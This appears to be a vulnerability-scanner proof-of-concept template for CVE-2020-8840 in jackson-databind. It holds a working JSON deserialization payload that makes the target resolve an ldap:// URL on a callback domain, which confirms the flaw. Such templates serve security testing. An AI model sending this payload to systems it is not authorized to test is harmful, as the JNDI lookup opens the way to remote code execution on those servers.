fasterxml-jackson-databind-cve-2020-8840.yml

name: poc-yaml-fasterxml-jackson-databind-cve-2020-8840
transport: http
set:
  reverse: newReverse()
  reverseDomain: reverse.domain
rules:
  r0:
    request:
      method: POST
      follow_redirects: false
      headers:
        Content-Type: application/json
      body: |-
        ["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://{{reverseDomain}}"}]
    expression: response.status == 200 && reverse.wait(5)
expression: r0()
detail:
  author: Secur1ty0(https://github.com/Secur1ty0)
  links:
    - https://blog.csdn.net/Fly_hps/article/details/118656018